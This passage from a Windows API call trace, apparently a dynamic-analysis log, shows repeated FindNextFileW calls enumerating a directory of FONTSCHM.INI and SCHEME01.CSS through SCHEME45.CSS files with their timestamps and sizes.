nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0252.008] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcda3b5c7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcda3b5c7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcdc2b493, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="FONTSCHM.INI", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME01.CSS", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fbbe, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME02.CSS", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f024, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME03.CSS", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa49a612, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa49a612, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa49a612, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f4e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME04.CSS", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1edba, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME05.CSS", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME06.CSS", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ff56, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME07.CSS", cAlternateFileName="")) returned 1 [0252.009] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f998, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME08.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20444, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME09.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2072a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME10.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa4c084e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa4c084e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa50cd6f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20030, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME11.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e09a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME12.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae963cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae963cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae963cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ec9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME13.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa50cd6f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa50cd6f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab02bf1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME14.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e094, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME15.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f822, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME16.CSS", cAlternateFileName="")) returned 1 [0252.010] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eada, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME17.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20438, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME18.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME19.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f6f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME20.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab02bf1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab02bf1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME21.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME22.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab4f04e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab4f04e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f5fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME23.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME24.CSS", cAlternateFileName="")) returned 1 [0252.011] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fcee, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME25.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xad18c6e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xad18c6e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xad18c6e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d1b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME26.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME27.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d754, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME28.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME29.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d522, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME30.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d652, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME31.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME32.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1dcb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME33.CSS", cAlternateFileName="")) returned 1 [0252.012] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab7525c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d124, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME34.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x202f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME35.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME36.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xacf29e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x205bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME37.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xacf29e7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f07c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME38.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e44c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME39.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1eb4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME40.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME41.CSS", cAlternateFileName="")) returned 1 [0252.013] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7c11d2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7c11d2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1d920, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME42.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xaccc88d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xaccc88d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e714, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME43.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab9b4b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab9b4b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xaccc88d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ecfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME44.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: lpFindFileData=0x1f59d2b0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xab7525c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xab7525c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xab9b4b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e6a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCHEME45.CSS", cAlternateFileName="")) returned 1 [0252.014] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f59d2b0 | out: 